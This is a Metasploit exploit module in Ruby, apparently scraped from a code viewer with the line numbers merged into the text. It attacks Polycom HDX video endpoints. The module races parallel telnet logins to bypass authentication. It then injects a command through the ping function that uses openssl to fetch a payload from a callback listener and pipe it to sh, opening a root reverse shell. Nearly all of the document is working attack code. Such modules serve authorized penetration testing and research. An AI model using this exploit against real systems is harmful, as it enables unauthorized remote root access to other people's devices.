Path: blob/master/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Polycom Command Shell Authorization Bypass',15'Alias' => 'polycom_hdx_auth_bypass',16'Author' => [17'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module18'h00die <[email protected]>', # submission/cleanup19],20'DisclosureDate' => '2013-01-18',21'Description' => %q{22The login component of the Polycom Command Shell on Polycom HDX23video endpoints, running software versions 3.0.5 and earlier,24is vulnerable to an authorization bypass when simultaneous25connections are made to the service, allowing remote network26attackers to gain access to a sandboxed telnet prompt without27authentication. Versions prior to 3.0.4 contain OS command28injection in the ping command which can be used to execute29arbitrary commands as root.30},31'License' => MSF_LICENSE,32'References' => [33[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],34[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],35[ 'EDB', '24494']36],37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'Privileged' => true,40'Targets' => [ [ "Universal", {} ] ],41'Payload' => {42'Space' => 8000,43'DisableNops' => true,44'Compat' => { 'PayloadType' => 'cmd' }45},46'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58Opt::RHOST(),59Opt::RPORT(23),60OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),61OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])62], self.class63)64register_advanced_options(65[66OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),67OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])68], self.class69)70end7172def check73connect74sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")75Rex.sleep(1)76res = sock.get_once77disconnect7879if !res && !res.empty?80return Exploit::CheckCode::Safe81end8283if res =~ /Welcome to ViewStation/84return Exploit::CheckCode::Appears85end8687Exploit::CheckCode::Safe88end8990def exploit91# Keep track of results (successful connections)92results = []9394# Random string for password95password = Rex::Text.rand_text_alpha(rand(5) + 1)9697# Threaded login checker98max_threads = datastore['THREADS']99cur_threads = []100101# Try up to 100 times just to be sure102queue = [*(1..datastore['MAX_CONNECTIONS'])]103104print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")105until queue.empty?106while cur_threads.length < max_threads107108# We can stop if we get a valid login109break unless results.empty?110111# keep track of how many attempts we've made112item = queue.shift113114# We can stop if we reach max tries115break unless item116117t = Thread.new(item) do |count|118sock = connect119sock.put(password + "\n")120res = sock.get_once121122until res.empty?123break unless results.empty?124125# Post-login Polycom banner means success126if res =~ /Polycom/127results << sock128break129# bind error indicates bypass is working130elsif res =~ /bind/131sock.put(password + "\n")132# Login error means we need to disconnect133elsif res =~ /failed/134break135# To many connections means we need to disconnect136elsif res =~ /Error/137break138end139res = sock.get_once140end141end142143cur_threads << t144end145146# We can stop if we get a valid login147break unless results.empty?148149# Add to a list of dead threads if we're finished150cur_threads.each_index do |ti|151t = cur_threads[ti]152unless t.alive?153cur_threads[ti] = nil154end155end156157# Remove any dead threads from the set158cur_threads.delete(nil)159160Rex.sleep(0.25)161end162163# Clean up any remaining threads164cur_threads.each { |sock| sock.kill }165166if !results.empty?167print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")168do_payload(results[0])169else170print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")171end172end173174def do_payload(sock)175# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise176cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])177178# Start a listener179start_listener(true)180181# Figure out the port we picked182cbport = self.service.getsockname[2]183184# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128185cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"186sock.put(cmd)187188# Give time for our command to be queued and executed1891.upto(5) do190Rex.sleep(1)191break if session_created?192end193end194195def stage_final_payload(cli)196print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")197cli.put(payload.encoded + "\n")198end199200def start_listener(ssl = false)201comm = datastore['ListenerComm']202if comm == 'local'203comm = ::Rex::Socket::Comm::Local204else205comm = nil206end207208self.service = Rex::Socket::TcpServer.create(209'LocalPort' => datastore['CBPORT'],210'SSL' => ssl,211'SSLCert' => datastore['SSLCert'],212'Comm' => comm,213'Context' =>214{215'Msf' => framework,216'MsfExploit' => self217}218)219220self.service.on_client_connect_proc = proc { |client|221stage_final_payload(client)222}223224# Start the listening service225self.service.start226end227228# Shut down any running services229def cleanup230super231if self.service232print_status("Shutting down payload stager listener...")233begin234self.service.deref if self.service.is_a?(Rex::Service)235if self.service.is_a?(Rex::Socket)236self.service.close237self.service.stop238end239self.service = nil240rescue ::Exception241end242end243end244245# Accessor for our TCP payload stager246attr_accessor :service247end248249250